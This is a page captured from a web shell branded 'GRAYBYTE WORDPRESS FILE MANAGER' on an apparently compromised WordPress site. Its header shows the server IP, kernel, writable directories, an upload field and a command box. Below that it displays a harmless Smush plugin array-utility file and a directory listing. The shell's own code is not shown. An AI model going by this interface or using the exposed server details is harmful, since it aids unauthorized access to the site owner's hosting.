GRAYBYTE WORDPRESS FILE MANAGER4872

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-smushit/core/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-smushit/core//class-array-utils.php
<?php

namespace Smush\Core;

class Array_Utils {
	public function array_hash( $array, $keys = array() ) {
		$hash = 0;
		if ( is_array( $array ) ) {
			foreach ( $array as $key => $value ) {
				if ( is_array( $value ) ) {
					$value_hash = $this->array_hash(
						$value,
						array_merge( $keys, array( $key ) )
					);
				} else {
					$prefix     = join( '~', $keys );
					$value_hash = crc32( $prefix . $value );
				}

				$hash += $value_hash;
			}
		}

		return $hash;
	}

	public function get_array_value( $haystack, $key, $default_value = null ) {
		if ( empty( $key ) ) {
			return $default_value;
		}

		if ( ! is_array( $key ) ) {
			$key = array( $key );
		}

		if ( ! is_array( $haystack ) ) {
			return $default_value;
		}

		$value = $haystack;
		foreach ( $key as $key_part ) {
			$value = isset( $value[ $key_part ] ) ? $value[ $key_part ] : $default_value;
		}

		return $value;
	}

	public function put_array_value( &$haystack, $value, $keys ) {
		if ( ! is_array( $keys ) ) {
			$keys = array( $keys );
		}

		$pointer = &$haystack;
		foreach ( $keys as $key ) {
			if ( ! isset( $pointer[ $key ] ) ) {
				$pointer         = empty( $pointer ) ? array() : $pointer;
				$pointer[ $key ] = array();
			}
			$pointer = &$pointer[ $key ];
		}
		$pointer = $value;
	}

	public function ensure_array( $array ) {
		return empty( $array ) || ! is_array( $array )
			? array()
			: $array;
	}

	/**
	 * WARNING: This trick works only for arrays in which all the values are valid keys.
	 * @see https://stackoverflow.com/a/8321701
	 *
	 * @param $array scalar[]
	 *
	 * @return array Unique array
	 */
	public function fast_array_unique( $array ) {
		if ( ! is_array( $array ) ) {
			return array();
		}

		return array_keys( array_flip( $array ) );
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
api
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
avif
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
backups
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
cdn
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
cli
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
external
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
integrations
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
lazy-load
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
media
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
media-library
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
modules
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
next-gen
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
parser
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
photon
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
png2jpg
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
resize
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
s3
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
security
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
smush
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
stats
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
threads
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
transform
--
July 10 2025 04:32:33
giriqfky / giriqfky
0755
webp
--
July 10 2025 04:32:34
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:33
giriqfky / giriqfky
0644
class-animated-status-controller.php
2.749 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-array-utils.php
1.732 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-attachment-id-list.php
2.38 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-backup-size.php
1.503 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-cache-controller.php
3.569 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-configs.php
24.694 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-controller.php
1.589 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-core.php
17.214 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-cron-controller.php
0.764 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-deprecated-hooks.php
3.8 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-error-handler.php
8.017 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-file-system.php
1.996 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-file-utils.php
0.664 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-format-utils.php
0.237 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-helper.php
28.246 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-installer.php
10.703 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-keyword-exclusions.php
6.888 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-modules.php
5.89 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-optimization-controller.php
1.029 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-plugin-settings-watcher.php
3.702 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-product-analytics.php
7.809 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-rest.php
2.98 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-server-utils.php
5.604 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-settings.php
43.201 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-smush-file.php
0.304 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-stats.php
37.542 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-time-utils.php
0.269 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-timer.php
0.272 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-upload-dir.php
3.354 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
class-url-utils.php
2.405 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF